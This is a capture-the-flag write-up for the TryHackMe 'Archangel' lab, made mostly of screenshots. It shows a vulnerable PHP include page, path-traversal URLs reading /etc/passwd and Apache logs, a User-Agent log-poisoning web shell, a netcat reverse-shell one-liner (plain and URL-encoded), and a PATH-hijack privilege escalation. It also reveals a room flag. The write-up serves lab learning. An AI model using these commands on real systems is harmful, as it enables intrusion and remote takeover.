> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/tryhackme/view/archangel.md).

# Archangel

<figure><img src="/files/LJC9v4sKiUwgktDpgU42" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cna1mzjmz43x8ns4VmRX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0HLJq3hIQQDAAVyqGUhe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/27GpndlxN1sWPIIPL3yL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f8LOIyAUfqojcC3mFbg8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OCVkwOkm530zVC9OehNb" alt=""><figcaption></figcaption></figure>

```
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>
```

{% code overflow="wrap" %}

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//etc/passwd
```

{% endcode %}

<figure><img src="/files/C0utZgRW5sBiHJrTkBPs" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//var/log/apache2/access.log
```

{% endcode %}

<figure><img src="/files/F5s9bnnDbR4xhJn6Hr4r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BlkraKWTTYBVTWfTRQEo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/B9alTHLv8tYM2wr0Q8yg" alt=""><figcaption></figcaption></figure>

```
curl -s 'http://mafialive.thm/test.php' -A '<?php system($_GET['cmd']); ?>'
```

<figure><img src="/files/Gv380dmaoHqGVJKdKSKp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kGE01pEwWpuw5tGW4PAA" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.193.229 4444 >/tmp/f

%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%39%2e%31%39%33%2e%32%32%39%20%34%34%34%34%20%3e%2f%74%6d%70%2f%66
```

{% endcode %}

<figure><img src="/files/VxGyFEbk2CbjJT70HEup" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4Pr48t4iZxYQS6TulBQ9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wZJghDqLqenEaBojnuNr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/itGEtFvRBIbKrPpol2vE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OOBC130tliAw7OJx9UsX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GM5uludCpi5lH6pquwzK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/W5r141uPKBWlTlkpcFqq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8suxwzpdalvl99aohAQq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DqngW01msBw4ZFvWklK5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7TqTsZn0yqMC0IrUsrHR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/O3N1WBB8aOFsRl7hbl6Y" alt=""><figcaption></figcaption></figure>

```
nano cp
cat cp
chmod +x cp
export PATH=/home/archangel:$PATH
echo $PATH
```

<figure><img src="/files/CC9lo9X5RO4joLYBL5FI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/82ysYLOrWfgnWa9PmVei" alt=""><figcaption></figcaption></figure>
